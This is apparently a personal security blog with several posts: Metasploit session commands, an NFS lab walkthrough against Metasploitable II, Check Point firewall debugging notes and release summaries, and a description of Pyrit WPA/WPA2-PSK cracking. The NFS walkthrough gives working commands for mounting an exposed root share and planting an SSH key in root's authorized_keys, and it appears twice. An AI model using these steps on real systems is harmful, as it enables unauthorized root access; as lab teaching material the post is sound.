Thursday, 13 March 2014
sessions (msfconsole)
Is there a background session?
sessions
.
.
list the sessions established
.
.
to connect one of them
sessions -i [session_id]
Unix Fundamentals - NFS Service / Attack Illustration
look at the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services.The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.
root@ubuntu:~# rpcinfo -p 192.168.99.131
.
.
.
.
.
root@ubuntu:~# showmount -e 192.168.99.131
Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file:
root@ubuntu:~# ssh-keygen
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
mount.nf: rpc.statd is not running but is required for remote locking.
mount.nfs: Either use '-o nolock' to keep locks local, or start statd.
mount.nfs: an incorrect mount option was specified.
This is the message you get when you try to mount the NFS export.
restarting nfs-common is not enough
restarting rpc will resolve the issue.
root@ubuntu:~# cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
ssh root@192.168.99.131
//with the password generated on the ssh-keygen (then add our pub file -key- into the account's authorized_keys file on the remote machine), you can access to the remote system. yay.
root@metasploitable:~#
The environment include Kali and Metasploitable II.
Reference:
https://community.rapid7.com/docs/DOC-1875
root@ubuntu:~# rpcinfo -p 192.168.99.131
.
.
.
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100003 4 tcp 2049 nfs
..
.
root@ubuntu:~# showmount -e 192.168.99.131
Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file:
root@ubuntu:~# ssh-keygen
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/
mount.nf: rpc.statd is not running but is required for remote locking.
mount.nfs: Either use '-o nolock' to keep locks local, or start statd.
mount.nfs: an incorrect mount option was specified.
This is the message you get when you try to mount the NFS export.
restarting nfs-common is not enough
- service nfs-common restart
restarting rpc will resolve the issue.
- service rpcbind restart
root@ubuntu:~# cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys
ssh root@192.168.99.131
//with the password generated on the ssh-keygen (then add our pub file -key- into the account's authorized_keys file on the remote machine), you can access to the remote system. yay.
root@metasploitable:~#
The environment include Kali and Metasploitable II.
Reference:
https://community.rapid7.com/docs/DOC-1875
Tuesday, 4 March 2014
Debug Policy Install
Debugging a manual
policy pull from the enforcement point, and push from the SmartCenter, like so:
fw -d fetch <SmartCenter server IP address>
- fw -d fetchlocal -d $FWDIR/state/__tmp/FW1 &> <output file>
cpd.elg files from $CPDIR/log from the firewall
Push from the Smart Center to enforcement point;
fwm -d load policy_name gateway_name 2> <filename>.txt
Policy installation fails with "ERROR: function or table < pgm_len_block_code > undefined" and ".../conf/updates.def"
SYMPTOMS |
|
CAUSE |
IPS definitions are not up-to-date, or do not exist. SOLUTION Perform IPS Update in SmartDashboard. The issue occurred on R77 env. as well. |
Thursday, 2 January 2014
Wednesday, 11 September 2013
Pyrit -WPA/WPA2-PSK Epic Fail-
Pyrit allows to create massive databases, pre-computing part of the IEEE 802.11 WPA/WPA2-PSK authentication phase in a space-time-tradeoff. Exploiting the computational power of Many-Core- and other platforms through ATI-Stream, Nvidia CUDA and OpenCL, it is currently by far the most powerful attack against one of the world's most used security-protocols.
WPA/WPA2-PSK is a subset of IEEE 802.11 WPA/WPA2 that skips the complex task of key distribution and client authentication by assigning every participating party the same pre shared key. This master key is derived from a password which the administrating user has to pre-configure e.g. on his laptop and the Access Point. When the laptop creates a connection to the Access Point, a new session key is derived from themaster key to encrypt and authenticate following traffic. The "shortcut" of using a single master key instead of per-user keys eases deployment of WPA/WPA2-protected networks for home- and small-office-use at the cost of making the protocol vulnerable to brute-force-attacks against it's key negotiation phase; it allows to ultimately reveal the password that protects the network. This vulnerability has to be considered exceptionally disastrous as the protocol allows much of the key derivation to be pre-computed, making simple brute-force-attacks even more alluring to the attacker. For more background see this article on the project's blog.
https://code.google.com/p/pyrit/
Monday, 2 September 2013
R77 is now available!
It seems to be the best one ever.
What's New in R77
New Threat Emulation Software Blade
The new Threat Emulation Software Blade blocks attacks which cannot be detected by signatures. It opens inspected files inside secure emulation environments to detect malicious behavior. It can be deployed as a cloud service or as a private (local) cloud.
New Check Point Compliance Blade
This new Software Blade analyzes your environment for compliance with major regulations and international standards. Check Point Compliance Blade generates detailed reports, with best practice recommendations taken from the large Check Point library. Check Point Compliance Blade sends alerts for policy changes that can affect compliance.
HyperSPECT Technology
Improvements to deep packet inspection engines boost performance for IPS and for Application and URL Filtering Software Blades Software Blades.
- Supports SMT (Hyper-Threading)
- Optimizations to DPI engines including streamers, parsers and pattern matching engines
Gaia Operating System Enhancements
- Centrally manage basic network configuration
- Back up and restore, run scripts, remote shell, and more, from a central console
- Synchronize cluster members with Gaia OS configuration cloning
Enhanced Gaia Software Updates
Update the Gaia operating system with the enhanced Automated Software Updates tool:
- Clean install of full image and upgrade of optimally sized package from the Check Point Cloud
- Up to 90% less downtime for Security Gateway upgrade
- Export and import of Gaia software update packages
- New WebUI features with enhanced usability
Enhanced Identity Awareness
- New identity acquisition method: RADIUS Accounting
- Automatic update of LDAP group membership changes
- Improved Identity Agent installation, with support for repair tools
- New MSI configuration tool for Agent distribution
...
a lot more at;
https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk92965
Thursday, 29 August 2013
Sending Syslog flow to an External Log Server
Dear Checkpoint Fellows and Followers,
Syslog data is possible to be sent as shown in sk33423, however only from physical boxes.
If you have VSX infrastructure, it is not possible to send syslogs of each vsx customer to another syslog server. All and all..
Sincerely.
Friday, 2 August 2013
Check Point R75.47 Released!
The release notes and the resolved issues, it’s mainly a maintenance or bug fix version.
There are a lot of fixed bugs.
It would be good to install the version firstly within the test environment, and then get it into production a.s.a.p.
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